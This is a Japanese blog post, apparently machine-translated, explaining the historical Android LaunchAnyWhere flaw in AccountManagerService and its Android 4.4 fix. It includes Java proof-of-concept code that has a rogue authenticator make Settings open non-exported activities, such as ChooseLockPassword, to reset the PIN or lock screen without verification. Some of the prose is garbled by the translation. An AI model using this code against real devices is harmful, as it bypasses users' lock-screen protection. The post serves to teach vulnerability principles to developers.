序文
今年 3 月、有名なウイルス対策ソフトウェア企業である Kaspersky Lab は、中国の e コマース プラットフォーム Pinduoduo に関する調査レポートをリリースし、プラットフォームのインストーラーに悪意のあるコードが含まれていると主張しました。このニュースは広範な懸念と議論を呼び起こし、Pinduoduo プラットフォームのセキュリティについても懸念を引き起こしました。
技術開発者として、PDD が Android OEM ソース コードの脆弱性を深く掘り下げているのを見てきました。
Android
脆弱性の原理を理解し学習することには、次の利点があります。
-
アプリケーションのセキュリティを向上させる: 脆弱性の原理を理解することで、開発者は脆弱性のメカニズムをよりよく理解し、アプリケーション開発プロセスで対応するセキュリティ対策を講じて、脆弱性の発生を回避し、アプリケーションのセキュリティを向上させることができます。
-
アプリケーション品質の向上: 脆弱性の原理を学ぶことは、開発者が
Android
プラットフォーム。 -
コード スタイルの改善: 脆弱性の原則を学習することで、開発者はコードがどのように機能するかをよりよく理解できるようになり、コードの読みやすさと保守性が向上します。
-
セキュリティ保護技術を理解する: 脆弱性の原則を学ぶことは、開発者が現在の主流のセキュリティ保護技術を理解し、セキュリティ保護のベスト プラクティスを習得して、アプリケーションのセキュリティをより確実にするのに役立ちます。
つまり、Android
脆弱性の原理を理解して学習することは、開発者がオペレーティング システムの内部メカニズムをよりよく理解し、アプリケーションのセキュリティ、品質、保守性を向上させるのに役立ちます。
LaunchAnyWhere の脆弱性
This is a AccountManagerService
loophole. この抜け穴を使用すると、エクスポートされていないコンポーネントを任意に呼び出すことができActivity
、プロセス間のコンポーネント アクセス分離の制限を突破できます。この脆弱性の影響を受けるAndroid システム2.3 ~ 4.3
。
これを見て疑問に思う学生もいるかもしれませんが、この抜け道は
Android4.3
今後解消されるのではないでしょうか?私が言おうとしているのは、理解するにはstartAnyWhere
その歴史を理解する必要があり、LaunchAnyWhere
脆弱性は間違いなくその歴史の一部であるということです。
通常のアプリケーション (AppA と表記) が特定の種類のアカウントの追加を要求すると、 を呼び出し、そのAccountManager.addAccount
アカウントAccountManager
を提供するアプリケーション (AppB と表記) のAuthenticator
クラスを検索してAuthenticator. addAccount
メソッドを呼び出し、AppA は次に、AppB ログイン インターフェイスによって返された Intent に従って、AppB のアカウントを呼び出します。
AccountManagerServiceについて
AccountManagerService
これもシステム サービスの 1 つであり、開発者に公開されるインターフェイスはAccountManager
. このサービスは、ユーザーのさまざまなネットワーク アカウントを管理するために使用されます。これにより、一部のアプリケーションはユーザーのネットワーク アカウントのトークンを取得し、そのトークンを使用して一部のネットワーク サービスを呼び出すことができます。WeChat、Alipay、メール Google サービスなど、多くのアプリケーションがアカウント認証機能を提供しています。
使用方法についてはAccountManager
、Launchanywhere のデモを参照してください: https://github.com/stven0king/launchanywhere.git
さまざまなアカウントのログイン方法とトークン取得メカニズムには違いがあるはずなので、AccountManager
本人確認もプラグ可能な形で設計されています。アカウントの確認は、アカウント関連のアプリケーションを提供することによって実装されます。アカウントを提供するアプリケーションは、一連のログイン UI を独自に実装し、ユーザー名とパスワードを受け取り、独自の認証サーバーに 1 つを返すように要求し、トークンをキャッシュしtoken
ますAccountManager
。
システムでネットワーク アカウントを提供できるアプリケーションは、[設定 -> アカウントの追加] から確認できます。
アプリケーションをこのページに表示するには、アプリケーションでアカウント認証サービスを宣言する必要がありますAuthenticationService
。
<service android:name=".AuthenticationService"
android:exported="true"
android:enabled="true">
<intent-filter>
<action android:name="android.accounts.AccountAuthenticator" />
</intent-filter>
<meta-data
android:name="android.accounts.AccountAuthenticator"
android:resource="@xml/authenticator" />
</service>
そして、サービスで1つ提供しますBinder
:
public class AuthenticationService extends Service {
private AuthenticationService.AccountAuthenticator mAuthenticator;
private AuthenticationService.AccountAuthenticator getAuthenticator() {
if (mAuthenticator == null)
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
return mAuthenticator;
}
@Override
public void onCreate() {
mAuthenticator = new AuthenticationService.AccountAuthenticator(this);
}
@Override
public IBinder onBind(Intent intent) {
Log.d("tanzhenxing33", "onBind");
return getAuthenticator().getIBinder();
}
static class AccountAuthenticator extends AbstractAccountAuthenticator {
/****部分代码省略****/
@Override
public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {
Log.d("tanzhenxing33", "addAccount: ");
return testBundle();
}
}
}
アカウント情報を宣言します。authenticator.xml
<?xml version="1.0" encoding="utf-8"?>
<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
android:accountType="com.tzx.launchanywhere"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
</account-authenticator>
脆弱性の原則
通常のアプリケーション (AppA と表記) が特定の種類のアカウントの追加を要求すると、それを呼び出し、そのAccountManager.addAccount
アカウントAccountManager
を提供するアプリケーション (AppB と表記) のAuthenticator
クラスを検索し、メソッド; AppA を呼び出します。 Authenticator.addAccount
AppB インターフェイスの戻りに従って、Intent
AppB のアカウント ログインを呼び出します。
このプロセスを図に示します。
このプロセスをより単純な事実に変換できます。
- 特定の種類のネットワーク アカウントの追加を AppA が要求する
- システムは、AppB がこのタイプのネットワーク アカウント サービスを提供できるかどうかを問い合わせ、システムは AppB への要求を開始します。
- AppB がインテントをシステムに返し、システムがそのインテントを appA に転送します
- AccountManagerResponse は、AppA のプロセス空間で startActivity(intent) を呼び出してアクティビティを呼び出します。
- AccountManagerResponse は FrameWork のコードであり、AppA はこの呼び出しを認識していません。
この設計の本来の意図は、AccountManagerService
AppA が AppB アカウントのログイン ページを見つけて、このログイン ページを呼び出せるようにすることです。問題は、AppB がこのインテントが指すコンポーネントを任意に指定できることであり、AppA はそれを知らずにAccountManagerResponse
1 つを呼び出しますActivity
.たとえば、AppA がシステム許可アプリケーションである場合、Settings
AppA は AppB によって指定されたエクスポートされていないコンポーネントを呼び出すことができますActivity
..
使い方
前述のように、AppA を設定と仮定すると、AppB は攻撃プログラムです。次に、設定が addAcount 操作をトリガーできる限り、AppB は AnyWhere で起動できます。問題は、どのように設定をトリガーしてアカウントを追加できるかということです。「設定 -> アカウントの追加」ページからトリガーされた場合、ユーザーが手動でクリックしてトリガーする必要があるため、一般ユーザーはここからアカウントを追加することはほとんどなく、ユーザーが頻繁に使用するため、攻撃の成功率は大幅に低下します。アプリケーション自体から直接ログインします。
しかし、あきらめるのは時期尚早です。実際、設定にはトリガー インターフェイスが既に残されています。com.android.settings.accounts.AddAccountSettings
特定のパラメーターを呼び出して持ってくる限りIntent
、設定をトリガーできますlaunchAnyWhere
:
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {
"自己的账号类型"};
intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);
このプロセスを図のステップ 0 に示します。
適用シナリオ
主な攻撃オブジェクトはまだアプリケーションにエクスポートされていませんActivity
。特に、. 以下は簡単な例です。この脆弱性の害は、どちらを攻撃するかによって異なり、まだ悪用の余地があります。たとえば、エクスポートされていない多くのアプリを攻撃したり、ブラウザの脆弱性と組み合わせたりすると、コード インジェクションが実行される可能性があります。intenExtra
Activity
Activity
webview
FakeID
JavascriptInterface
暗証番号をリセット
- PIN コード認証インターフェイスをバイパスし、電話システムの PIN コードを直接リセットします。
intent.setComponent(new ComponentName("com.android.settings","com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
ロック画面のリセット
元のロック画面の検証をバイパスし、電話のロック画面のパスワードを直接リセットします。
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
バグの修正
Android 4.4 ではこの脆弱性が修正されています. Step3 で返されたインテントが指すアクティビティと AppB が同じ署名を持っているかどうかを確認してください. luanchAnyWhere の可能性を回避します。
Android4.3 ソース コード: http://androidxref.com/4.3_r2.1/xref/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java
Android4.4 ソース コード: http:// androidxref.com/4.4_r1/xref/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java
公式サイトの脆弱性修復の差分: https://android.googlesource.com/platform/frameworks/base / +/5bab9da%5E%21/#F0
記事はここですべて説明します。他に連絡が必要な場合は、メッセージを残してください〜!
PS: 話はここで終わりですか?
当時はこのパッチに問題はありませんでしたが、2017 年まで、一部の海外研究者が悪意のあるサンプルで、デシリアライゼーションを使用して
Parcelable
このパッチをバイパスできることを発見しました。system_server
インテントをチェックするためのものであり、インターフェイスを起動しAIDL
、これはプロセスの境界を越えており、これにはシリアライゼーションとデシリアライゼーションのプロセスも含まれます.デシリアライゼーションの脆弱性のバイトミスアラインメントと正確なレイアウトをSettings
使用すると、チェック時にそれを見つけることができません.これは、ミスプレースメントの直後に見つけることができます.パッチをバイパスして再度実装することができるように、研究者は発見されたエクスプロイト手法に名前を付けました。Parcelable
system_server
Intent
Intent
Settings
LaunchAnyWhere
Bundle mismatch
興味のある方は、引き続き次の記事をお読みください。
Bundle Fengshui - Android パーセルのシリアライゼーションとデシリアライゼーションの不一致シリーズの脆弱性
参考: